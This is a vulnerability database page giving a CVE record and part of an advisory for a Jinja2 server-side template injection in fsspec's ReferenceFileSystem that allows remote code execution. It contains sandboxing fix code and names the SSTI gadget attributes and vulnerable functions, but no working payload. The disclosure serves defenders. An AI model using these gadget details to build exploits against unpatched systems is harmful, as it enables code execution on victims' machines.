`llama-cpp-python` after\nCVE-2024-34359.\n\n```python\n# At module top\ndef _sandboxed_env():\n import jinja2.sandbox\n env = getattr(_sandboxed_env, \"_env\", None)\n if env is None:\n env = jinja2.sandbox.ImmutableSandboxedEnvironment()\n _sandboxed_env._env = env\n return env\n```\n\nThen in each sink, replace `jinja2.Template(s).render(...)` with\n`_sandboxed_env().from_string(s).render(...)`.\n\nThe legitimate Kerchunk template syntax (simple variable substitution\nlike `{{ varname }}`) continues to work under the sandbox; only the SSTI\ngadgets (`__class__`, `__init__.__globals__`, `__subclasses__`, etc.)\nare refused with `jinja2.exceptions.SecurityError`.\n\nA complete patch is available on request.\n\n### Credit\n\nReported by Dany.A",
"id": "BREW-rawdog-CVE-2026-104851",
"modified": "2026-10-06T09:45:01Z",
"published": "2026-10-06T09:45:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104851"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/pull/2029"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/pull/2039"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/commit/86438783f93b1398ef245b92f0e6063b445b611c"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/commit/a1c16ab3f07f354aa371c38f7b1b07ea7fd4c5c8"
},
{
"type": "PACKAGE",
"url": "https://github.com/fsspec/filesystem_spec"
},
{
"type": "WEB",
"url": "https://github.com/fsspec/filesystem_spec/releases/tag/2026.6.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution",
"upstream": [
"GHSA-27vj-qcqg-25rc",
"CVE-2026-104851"
]
}
CVE-2026-104851 (GCVE-0-2026-104851)
Vulnerability from cvelistv5 – Published: 2026-10-02 16:36 – Updated: 2026-10-05 20:03| URL | Tags |
|---|---|
| https://github.com/fsspec/filesystem_spec/securit… | x_refsource_CONFIRM |
| https://github.com/fsspec/filesystem_spec/pull/2029 | x_refsource_MISC |
| https://github.com/fsspec/filesystem_spec/pull/2039 | x_refsource_MISC |
| https://github.com/fsspec/filesystem_spec/commit/… | x_refsource_MISC |
| https://github.com/fsspec/filesystem_spec/commit/… | x_refsource_MISC |
| https://github.com/fsspec/filesystem_spec/release… | x_refsource_MISC |
| Vendor | Product | Version | |
|---|---|---|---|
| fsspec | filesystem_spec |
Affected:
>= 0.9.0, < 2026.6.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-104851",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-05T20:03:10.746838Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-10-05T20:03:36.502Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "filesystem_spec",
"vendor": "fsspec",
"versions": [
{
"status": "affected",
"version": "\u003e= 0.9.0, \u003c 2026.6.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "fsspec is a specification and Python implementation framework for filesystem interfaces. From 0.9.0 until 2026.6.0, fsspec.implementations.reference.ReferenceFileSystem evaluates fields from Kerchunk reference JSON documents through unrestricted jinja2.Template(...).render(...) calls in _process_references1._render_jinja, _process_templates, and _process_gen in fsspec/implementations/reference.py. A document supplied inline or fetched from an attacker-controlled URL can provide template expressions that execute Python code when the reference filesystem is opened, including through consumers such as xarray, before referenced data is read. The _process_gen path is reached whenever a document includes a gen array, while the other paths depend on template-related options and values. This issue is fixed in version 2026.6.0."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-94",
"description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-1336",
"description": "CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-02T16:36:48.513Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc"
},
{
"name": "https://github.com/fsspec/filesystem_spec/pull/2029",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/fsspec/filesystem_spec/pull/2029"
},
{
"name": "https://github.com/fsspec/filesystem_spec/pull/2039",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/fsspec/filesystem_spec/pull/2039"
},
{
"name": "https://github.com/fsspec/filesystem_spec/commit/86438783f93b1398ef245b92f0e6063b445b611c",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/fsspec/filesystem_spec/commit/86438783f93b1398ef245b92f0e6063b445b611c"
},
{
"name": "https://github.com/fsspec/filesystem_spec/commit/a1c16ab3f07f354aa371c38f7b1b07ea7fd4c5c8",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/fsspec/filesystem_spec/commit/a1c16ab3f07f354aa371c38f7b1b07ea7fd4c5c8"
},
{
"name": "https://github.com/fsspec/filesystem_spec/releases/tag/2026.6.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/fsspec/filesystem_spec/releases/tag/2026.6.0"
}
],
"source": {
"advisory": "GHSA-27vj-qcqg-25rc",
"discovery": "UNKNOWN"
},
"title": "fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-104851",
"datePublished": "2026-10-02T16:36:48.513Z",
"dateReserved": "2026-10-02T14:38:43.244Z",
"dateUpdated": "2026-10-05T20:03:36.502Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.